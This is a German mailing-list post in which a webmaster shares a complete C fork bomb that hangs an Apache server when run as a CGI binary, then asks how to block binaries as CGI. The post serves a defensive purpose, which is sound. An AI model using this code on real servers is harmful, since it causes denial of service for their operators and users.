Hallo Liste,

ich habe inzwischen das Programm noch etwas gef�hrlicher gemacht, f�hre ich
es vom Apache Webserver als CGI aus (in einem "ScriptAlias"-aktivierten
Verzeichnis), so h�ngt der Server total! Durch die vielen fork()-Aufrufe ist
es noch viel einfacher, das System zu einem Overload zu bringen.

#include <stdio.h>
#include <unistd.h>

void endlos()
{
    int a=10;
    int b=10;
    int i;
    for (i=0; i<5000; i++)
    {
    }
    fork();
    endlos();
}

void main()
{
    printf("Content-type: text/html\n\n");
    endlos();
    printf("Dieser Befehl wird nie ausgefuehrt!\n");
}

Wenn ich die fork()-Zeile entferne, gibt es �brigens nach ca. 3 Sekunden
einen "Internal Server Error", in der "top"-Liste sehe ich dann, da� das
Programm ca. 8 MB Speicher konsumiert hat, bevor es sauber aus dem System
gekickt wird.

Wie kann ich generell verhindern, da� Binaries als CGI ausgef�hrt werden?

Gru�
       Thomas Adamek
       =====================================
       WebTrio GbR - Solutions for communities
       http://www.webtrio.de
       [EMAIL PROTECTED]

--
Um aus der Liste ausgetragen zu werden, eine Mail an [EMAIL PROTECTED]
schicken, mit dem Text: unsubscribe suse-linux

Antwort per Email an